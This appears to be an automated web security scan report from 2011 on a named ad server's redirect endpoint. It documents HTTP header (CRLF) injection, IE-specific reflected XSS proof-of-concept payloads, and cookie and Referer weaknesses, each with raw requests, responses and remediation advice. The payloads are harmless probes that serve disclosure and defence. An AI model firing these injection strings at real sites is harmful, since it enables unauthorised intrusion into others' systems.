HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the a request parameter is copied into the Location response header. The payload 166b6%0d%0a77cb3dde500 was submitted in the a parameter. This caused a response containing an injected HTTP header.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/166b6%0d%0a77cb3dde500 HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:34 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:34 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:34 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:34 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/166b6 77cb3dde500 Vary: Accept-Encoding Content-Length: 420 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ ...[SNIP]...
1.2. http://xads.zedo.com/ads2/c [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://xads.zedo.com
Path:
/ads2/c
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 958c6%0d%0a12c64e7ba41 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/&958c6%0d%0a12c64e7ba41=1 HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:36 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:36 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:36 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:36 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/&958c6 12c64e7ba41=1 Vary: Accept-Encoding Content-Length: 427 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ ...[SNIP]...
2. Cross-site scripting (reflected)previousnext There are 2 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6efd3"style%3d"x%3aexpression(alert(1))"d0649ea4848 was submitted in the a parameter. This input was echoed as 6efd3"style="x:expression(alert(1))"d0649ea4848 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/6efd3"style%3d"x%3aexpression(alert(1))"d0649ea4848 HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:34 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:34 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:34 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:34 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/6efd3"style="x:expression(alert(1))"d0649ea4848 Vary: Accept-Encoding Content-Length: 449 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/6efd3"style="x:expression(alert(1))"d0649ea4848"> ...[SNIP]...
2.2. http://xads.zedo.com/ads2/c [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
Information
Confidence:
Certain
Host:
http://xads.zedo.com
Path:
/ads2/c
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98a1b"style%3d"x%3aexpression(alert(1))"1924c3dd077 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 98a1b"style="x:expression(alert(1))"1924c3dd077 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/&98a1b"style%3d"x%3aexpression(alert(1))"1924c3dd077=1 HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:36 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:36 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:36 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:36 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/&98a1b"style="x:expression(alert(1))"1924c3dd077=1 Vary: Accept-Encoding Content-Length: 456 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/&98a1b"style="x:expression(alert(1))"1924c3dd077=1"> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:31 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:31 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:31 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:31 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ Vary: Accept-Encoding Content-Length: 402 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:31 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:31 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:31 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:31 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ Vary: Accept-Encoding Content-Length: 402 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/">here</a> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /ads2/c?a=853584;x=2304;g=172;c=1220000101,1220000101;i=0;n=1220;1=8;2=1;s=69;g=172;m=82;w=47;i=0;u=INmz6woBADYAAHrQ5V4AAACH~010411;p=6;f=990638;h=922865;k=http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Fri, 28 Jan 2011 15:06:31 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Sat, 28-Jan-12 15:06:31 GMT; DOMAIN=.zedo.com Set-Cookie: ZFFbh=826-20110128,20|305_1;expires=Sat, 28 Jan 2012 15:06:31 GMT;DOMAIN=.zedo.com;path=/; Set-Cookie: PCA922865=a853584Zc1220000101%2C1220000101Zs69Zi0Zt128; path=/; EXPIRES=Sun, 27-Feb-11 15:06:31 GMT; DOMAIN=.zedo.com P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Location: http://hpi.rotator.hadj7.adjuggler.net/servlet/ajrotator/63722/0/cj/V127BB6CB93J-573I704K63342ADC1D6F3ADC1D6F3K63704K63703QK63352QQP0G00G0Q05BC434B000016/ Vary: Accept-Encoding Content-Length: 402 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://hpi.rotator.hadj7.adjuggler.net/servlet/ ...[SNIP]...